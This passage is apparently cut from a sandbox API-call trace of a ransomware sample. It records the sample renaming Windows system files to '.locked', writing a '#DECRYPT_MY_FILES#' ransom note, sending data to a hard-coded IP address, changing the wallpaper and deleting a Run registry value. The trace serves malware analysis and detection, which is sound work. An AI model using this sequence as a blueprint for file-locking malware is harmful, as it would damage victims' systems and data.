"c:\\windows\\prefetch\\agglglobalhistory.db.locked"), dwFlags=0x2) returned 1 [0227.587] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Prefetch\\AgGlUAD_P_S-1-5-21-3388679973-3930757225-3770151564-1000.db" (normalized: "c:\\windows\\prefetch\\aggluad_p_s-1-5-21-3388679973-3930757225-3770151564-1000.db"), lpNewFileName="C:\\\\Windows\\Prefetch\\AgGlUAD_P_S-1-5-21-3388679973-3930757225-3770151564-1000.db.locked" (normalized: "c:\\windows\\prefetch\\aggluad_p_s-1-5-21-3388679973-3930757225-3770151564-1000.db.locked"), dwFlags=0x2) returned 1 [0227.952] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Prefetch\\AgGlUAD_S-1-5-21-3388679973-3930757225-3770151564-1000.db" (normalized: "c:\\windows\\prefetch\\aggluad_s-1-5-21-3388679973-3930757225-3770151564-1000.db"), lpNewFileName="C:\\\\Windows\\Prefetch\\AgGlUAD_S-1-5-21-3388679973-3930757225-3770151564-1000.db.locked" (normalized: "c:\\windows\\prefetch\\aggluad_s-1-5-21-3388679973-3930757225-3770151564-1000.db.locked"), dwFlags=0x2) returned 1 [0228.127] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Prefetch\\AgRobust.db" (normalized: "c:\\windows\\prefetch\\agrobust.db"), lpNewFileName="C:\\\\Windows\\Prefetch\\AgRobust.db.locked" (normalized: "c:\\windows\\prefetch\\agrobust.db.locked"), dwFlags=0x2) returned 1 [0228.131] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Prefetch\\PfSvPerfStats.bin" (normalized: "c:\\windows\\prefetch\\pfsvperfstats.bin"), lpNewFileName="C:\\\\Windows\\Prefetch\\PfSvPerfStats.bin.locked" (normalized: "c:\\windows\\prefetch\\pfsvperfstats.bin.locked"), dwFlags=0x2) returned 1 [0228.199] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Professional.xml" (normalized: "c:\\windows\\professional.xml"), lpNewFileName="C:\\\\Windows\\Professional.xml.locked" (normalized: "c:\\windows\\professional.xml.locked"), dwFlags=0x2) returned 1 [0228.744] MoveFileExW (lpExistingFileName="C:\\\\Windows\\security\\logs\\scesetup.log" (normalized: "c:\\windows\\security\\logs\\scesetup.log"), lpNewFileName="C:\\\\Windows\\security\\logs\\scesetup.log.locked" (normalized: "c:\\windows\\security\\logs\\scesetup.log.locked"), dwFlags=0x2) returned 1 [0229.316] MoveFileExW (lpExistingFileName="C:\\\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache-S-1-5-21-3388679973-3930757225-3770151564-1000-8192.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache-s-1-5-21-3388679973-3930757225-3770151564-1000-8192.dat"), lpNewFileName="C:\\\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache-S-1-5-21-3388679973-3930757225-3770151564-1000-8192.dat.locked" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache-s-1-5-21-3388679973-3930757225-3770151564-1000-8192.dat.locked"), dwFlags=0x2) returned 1 [0229.664] MoveFileExW (lpExistingFileName="C:\\\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache-System.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache-system.dat"), lpNewFileName="C:\\\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache-System.dat.locked" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache-system.dat.locked"), dwFlags=0x2) returned 1 [0229.689] MoveFileExW (lpExistingFileName="C:\\\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.locked" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat.locked"), dwFlags=0x2) returned 1 [0229.725] MoveFileExW (lpExistingFileName="C:\\\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.locked" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat.locked"), dwFlags=0x2) returned 1 [0229.732] MoveFileExW (lpExistingFileName="C:\\\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\microsoft\\windows\\windowsupdate.log"), lpNewFileName="C:\\\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log.locked" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\microsoft\\windows\\windowsupdate.log.locked"), dwFlags=0x2) returned 0 [0229.732] GetLastError () returned 0x20 [0229.732] GetLastError () returned 0x20 [0229.755] MoveFileExW (lpExistingFileName="C:\\\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat"), lpNewFileName="C:\\\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.locked" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat.locked"), dwFlags=0x2) returned 1 [0229.812] MoveFileExW (lpExistingFileName="C:\\\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Temp\\MpCmdRun.log" (normalized: "c:\\windows\\serviceprofiles\\networkservice\\appdata\\local\\temp\\mpcmdrun.log"), lpNewFileName="C:\\\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Temp\\MpCmdRun.log.locked" (normalized: "c:\\windows\\serviceprofiles\\networkservice\\appdata\\local\\temp\\mpcmdrun.log.locked"), dwFlags=0x2) returned 1 [0230.006] MoveFileExW (lpExistingFileName="C:\\\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\windows\\serviceprofiles\\networkservice\\appdata\\roaming\\microsoft\\softwareprotectionplatform\\cache\\cache.dat"), lpNewFileName="C:\\\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SoftwareProtectionPlatform\\Cache\\cache.dat.locked" (normalized: "c:\\windows\\serviceprofiles\\networkservice\\appdata\\roaming\\microsoft\\softwareprotectionplatform\\cache\\cache.dat.locked"), dwFlags=0x2) returned 1 [0230.449] MoveFileExW (lpExistingFileName="C:\\\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\windows\\serviceprofiles\\networkservice\\appdata\\roaming\\microsoft\\softwareprotectionplatform\\tokens.dat"), lpNewFileName="C:\\\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\SoftwareProtectionPlatform\\tokens.dat.locked" (normalized: "c:\\windows\\serviceprofiles\\networkservice\\appdata\\roaming\\microsoft\\softwareprotectionplatform\\tokens.dat.locked"), dwFlags=0x2) returned 1 [0230.704] MoveFileExW (lpExistingFileName="C:\\\\Windows\\setupact.log" (normalized: "c:\\windows\\setupact.log"), lpNewFileName="C:\\\\Windows\\setupact.log.locked" (normalized: "c:\\windows\\setupact.log.locked"), dwFlags=0x2) returned 1 [0230.706] MoveFileExW (lpExistingFileName="C:\\\\Windows\\setuperr.log" (normalized: "c:\\windows\\setuperr.log"), lpNewFileName="C:\\\\Windows\\setuperr.log.locked" (normalized: "c:\\windows\\setuperr.log.locked"), dwFlags=0x2) returned 1 [0231.284] MoveFileExW (lpExistingFileName="C:\\\\Windows\\SoftwareDistribution\\DataStore\\Logs\\edb00005.log" (normalized: "c:\\windows\\softwaredistribution\\datastore\\logs\\edb00005.log"), lpNewFileName="C:\\\\Windows\\SoftwareDistribution\\DataStore\\Logs\\edb00005.log.locked" (normalized: "c:\\windows\\softwaredistribution\\datastore\\logs\\edb00005.log.locked"), dwFlags=0x2) returned 1 [0231.363] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Starter.xml" (normalized: "c:\\windows\\starter.xml"), lpNewFileName="C:\\\\Windows\\Starter.xml.locked" (normalized: "c:\\windows\\starter.xml.locked"), dwFlags=0x2) returned 1 [0231.508] MoveFileExW (lpExistingFileName="C:\\\\Windows\\System32\\catroot2\\dberr.txt" (normalized: "c:\\windows\\system32\\catroot2\\dberr.txt"), lpNewFileName="C:\\\\Windows\\System32\\catroot2\\dberr.txt.locked" (normalized: "c:\\windows\\system32\\catroot2\\dberr.txt.locked"), dwFlags=0x2) returned 1 [0231.571] MoveFileExW (lpExistingFileName="C:\\\\Windows\\System32\\catroot2\\edb0054E.log" (normalized: "c:\\windows\\system32\\catroot2\\edb0054e.log"), lpNewFileName="C:\\\\Windows\\System32\\catroot2\\edb0054E.log.locked" (normalized: "c:\\windows\\system32\\catroot2\\edb0054e.log.locked"), dwFlags=0x2) returned 1 [0231.640] MoveFileExW (lpExistingFileName="C:\\\\Windows\\System32\\catroot2\\edb0054F.log" (normalized: "c:\\windows\\system32\\catroot2\\edb0054f.log"), lpNewFileName="C:\\\\Windows\\System32\\catroot2\\edb0054F.log.locked" (normalized: "c:\\windows\\system32\\catroot2\\edb0054f.log.locked"), dwFlags=0x2) returned 1 [0231.732] MoveFileExW (lpExistingFileName="C:\\\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.locked" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat.locked"), dwFlags=0x2) returned 1 [0231.774] MoveFileExW (lpExistingFileName="C:\\\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.locked" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat.locked"), dwFlags=0x2) returned 1 [0231.814] MoveFileExW (lpExistingFileName="C:\\\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat"), lpNewFileName="C:\\\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.locked" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat.locked"), dwFlags=0x2) returned 1 [0233.478] MoveFileExW (lpExistingFileName="C:\\\\Windows\\System32\\dssec.dat" (normalized: "c:\\windows\\system32\\dssec.dat"), lpNewFileName="C:\\\\Windows\\System32\\dssec.dat.locked" (normalized: "c:\\windows\\system32\\dssec.dat.locked"), dwFlags=0x2) returned 1 [0233.599] MoveFileExW (lpExistingFileName="C:\\\\Windows\\System32\\icrav03.rat" (normalized: "c:\\windows\\system32\\icrav03.rat"), lpNewFileName="C:\\\\Windows\\System32\\icrav03.rat.locked" (normalized: "c:\\windows\\system32\\icrav03.rat.locked"), dwFlags=0x2) returned 1 [0233.820] MoveFileExW (lpExistingFileName="C:\\\\Windows\\System32\\license.rtf" (normalized: "c:\\windows\\system32\\license.rtf"), lpNewFileName="C:\\\\Windows\\System32\\license.rtf.locked" (normalized: "c:\\windows\\system32\\license.rtf.locked"), dwFlags=0x2) returned 1 [0233.856] MoveFileExW (lpExistingFileName="C:\\\\Windows\\System32\\Macromed\\Flash\\FlashInstall.log" (normalized: "c:\\windows\\system32\\macromed\\flash\\flashinstall.log"), lpNewFileName="C:\\\\Windows\\System32\\Macromed\\Flash\\FlashInstall.log.locked" (normalized: "c:\\windows\\system32\\macromed\\flash\\flashinstall.log.locked"), dwFlags=0x2) returned 1 [0233.859] MoveFileExW (lpExistingFileName="C:\\\\Windows\\System32\\Macromed\\Flash\\mms.cfg" (normalized: "c:\\windows\\system32\\macromed\\flash\\mms.cfg"), lpNewFileName="C:\\\\Windows\\System32\\Macromed\\Flash\\mms.cfg.locked" (normalized: "c:\\windows\\system32\\macromed\\flash\\mms.cfg.locked"), dwFlags=0x2) returned 1 [0234.080] MoveFileExW (lpExistingFileName="C:\\\\Windows\\System32\\Recovery\\ReAgent.xml" (normalized: "c:\\windows\\system32\\recovery\\reagent.xml"), lpNewFileName="C:\\\\Windows\\System32\\Recovery\\ReAgent.xml.locked" (normalized: "c:\\windows\\system32\\recovery\\reagent.xml.locked"), dwFlags=0x2) returned 1 [0234.164] MoveFileExW (lpExistingFileName="C:\\\\Windows\\System32\\ticrf.rat" (normalized: "c:\\windows\\system32\\ticrf.rat"), lpNewFileName="C:\\\\Windows\\System32\\ticrf.rat.locked" (normalized: "c:\\windows\\system32\\ticrf.rat.locked"), dwFlags=0x2) returned 1 [0234.289] MoveFileExW (lpExistingFileName="C:\\\\Windows\\System32\\WindowsPowerShell\\v1.0\\Examples\\profile.ps1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\examples\\profile.ps1"), lpNewFileName="C:\\\\Windows\\System32\\WindowsPowerShell\\v1.0\\Examples\\profile.ps1.locked" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\examples\\profile.ps1.locked"), dwFlags=0x2) returned 1 [0234.675] FindClose (in: hFindFile=0x825910 | out: hFindFile=0x825910) returned 1 [0234.676] CreateFileW (lpFileName="C:\\\\Windows\\SysWOW64\\sysprep\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\windows\\syswow64\\sysprep\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc60, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0234.795] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Temp\\Crashpad\\settings.dat" (normalized: "c:\\windows\\temp\\crashpad\\settings.dat"), lpNewFileName="C:\\\\Windows\\Temp\\Crashpad\\settings.dat.locked" (normalized: "c:\\windows\\temp\\crashpad\\settings.dat.locked"), dwFlags=0x2) returned 1 [0234.802] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Temp\\MpCmdRun.log" (normalized: "c:\\windows\\temp\\mpcmdrun.log"), lpNewFileName="C:\\\\Windows\\Temp\\MpCmdRun.log.locked" (normalized: "c:\\windows\\temp\\mpcmdrun.log.locked"), dwFlags=0x2) returned 1 [0234.811] MoveFileExW (lpExistingFileName="C:\\\\Windows\\TSSysprep.log" (normalized: "c:\\windows\\tssysprep.log"), lpNewFileName="C:\\\\Windows\\TSSysprep.log.locked" (normalized: "c:\\windows\\tssysprep.log.locked"), dwFlags=0x2) returned 1 [0234.832] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Vss\\Writers\\System\\0bada1de-01a9-4625-8278-69e735f39dd2.xml" (normalized: "c:\\windows\\vss\\writers\\system\\0bada1de-01a9-4625-8278-69e735f39dd2.xml"), lpNewFileName="C:\\\\Windows\\Vss\\Writers\\System\\0bada1de-01a9-4625-8278-69e735f39dd2.xml.locked" (normalized: "c:\\windows\\vss\\writers\\system\\0bada1de-01a9-4625-8278-69e735f39dd2.xml.locked"), dwFlags=0x2) returned 1 [0234.838] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Vss\\Writers\\System\\75DFB225-E2E4-4d39-9AC9-FFAFF65DDF06.xml" (normalized: "c:\\windows\\vss\\writers\\system\\75dfb225-e2e4-4d39-9ac9-ffaff65ddf06.xml"), lpNewFileName="C:\\\\Windows\\Vss\\Writers\\System\\75DFB225-E2E4-4d39-9AC9-FFAFF65DDF06.xml.locked" (normalized: "c:\\windows\\vss\\writers\\system\\75dfb225-e2e4-4d39-9ac9-ffaff65ddf06.xml.locked"), dwFlags=0x2) returned 1 [0234.844] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Vss\\Writers\\System\\D61D61C8-D73A-4EEE-8CDD-F6F9786B7124.xml" (normalized: "c:\\windows\\vss\\writers\\system\\d61d61c8-d73a-4eee-8cdd-f6f9786b7124.xml"), lpNewFileName="C:\\\\Windows\\Vss\\Writers\\System\\D61D61C8-D73A-4EEE-8CDD-F6F9786B7124.xml.locked" (normalized: "c:\\windows\\vss\\writers\\system\\d61d61c8-d73a-4eee-8cdd-f6f9786b7124.xml.locked"), dwFlags=0x2) returned 1 [0235.130] MoveFileExW (lpExistingFileName="C:\\\\Windows\\WindowsUpdate.log" (normalized: "c:\\windows\\windowsupdate.log"), lpNewFileName="C:\\\\Windows\\WindowsUpdate.log.locked" (normalized: "c:\\windows\\windowsupdate.log.locked"), dwFlags=0x2) returned 0 [0235.131] GetLastError () returned 0x20 [0235.131] GetLastError () returned 0x20 [0252.808] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x42f460 | out: lpWSAData=0x42f460) returned 0 [0252.816] WSACreateEvent () returned 0x74 [0252.816] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xc4 [0252.821] gethostbyname (name="185.141.61.81") returned 0x80bf40*(h_name="185.141.61.81", h_aliases=0x80bf50*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x80bf54*=([0]="185.141.61.81")) [0256.694] htons (hostshort=0x50) returned 0x5000 [0256.694] connect (s=0xc4, name=0x42f16c*(sa_family=2, sin_port=0x50, sin_addr="185.141.61.81"), namelen=16) returned 0 [0257.238] send (s=0xc4, buf=0x840cb0*, len=389, flags=0) returned 389 [0257.239] Sleep (dwMilliseconds=0x32) [0257.291] WSARecv (in: s=0xc4, lpBuffers=0x42f15c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f164, lpFlags=0x42f17c*=0x0, lpOverlapped=0x42f148, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f15c*=((len=0x1ff, buf=0x42f198*)), lpNumberOfBytesRecvd=0x42f164*=0x0, lpFlags=0x42f17c*=0x0, lpOverlapped=0x42f148) returned 0 [0257.291] WSAGetLastError () returned 997 [0257.291] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f168*=0x74, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0257.359] WSAResetEvent (hEvent=0x74) returned 1 [0257.359] WSAGetOverlappedResult (in: s=0xc4, lpOverlapped=0x42f148, lpcbTransfer=0x42f164, fWait=0, lpdwFlags=0x42f17c | out: lpcbTransfer=0x42f164, lpdwFlags=0x42f17c) returned 1 [0257.359] WSARecv (in: s=0xc4, lpBuffers=0x42f15c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f164, lpFlags=0x42f17c*=0x0, lpOverlapped=0x42f148, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f15c*=((len=0x1ff, buf=0x42f198*)), lpNumberOfBytesRecvd=0x42f164*=0x0, lpFlags=0x42f17c*=0x0, lpOverlapped=0x42f148) returned 0 [0257.359] WSAGetLastError () returned 997 [0257.359] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f168*=0x74, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0257.360] WSAResetEvent (hEvent=0x74) returned 1 [0257.360] WSAGetOverlappedResult (in: s=0xc4, lpOverlapped=0x42f148, lpcbTransfer=0x42f164, fWait=0, lpdwFlags=0x42f17c | out: lpcbTransfer=0x42f164, lpdwFlags=0x42f17c) returned 1 [0257.360] WSAGetLastError () returned 0 [0257.360] WSASetEvent (hEvent=0x74) returned 1 [0257.360] WSACloseEvent (hEvent=0x74) returned 1 [0257.360] closesocket (s=0xc4) returned 0 [0257.362] WSACleanup () returned 0 [0257.370] SystemParametersInfoA (in: uiAction=0x14, uiParam=0x0, pvParam="wall.i" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wall.i"), fWinIni=0x3 | out: pvParam=0x42f530) returned 1 [0258.878] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2, phkResult=0x42f674 | out: phkResult=0x42f674*=0xd0) returned 0x0 [0258.878] RegDeleteValueA (hKey=0xd0, lpValueName="MSFEEditor") returned 0x0 [0258.878] RegCloseKey (hKey=0xd0) returned 0x0 [0258.879] GetModuleHandleW (lpModuleName=0x0) returned 0x160000 [0258.879] GetModuleHandleW (lpModuleName=0x0) returned 0x160000 [0258.880] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0x204 Thread: id = 3 os_tid = 0x598 Thread: id = 4 os_tid = 0x324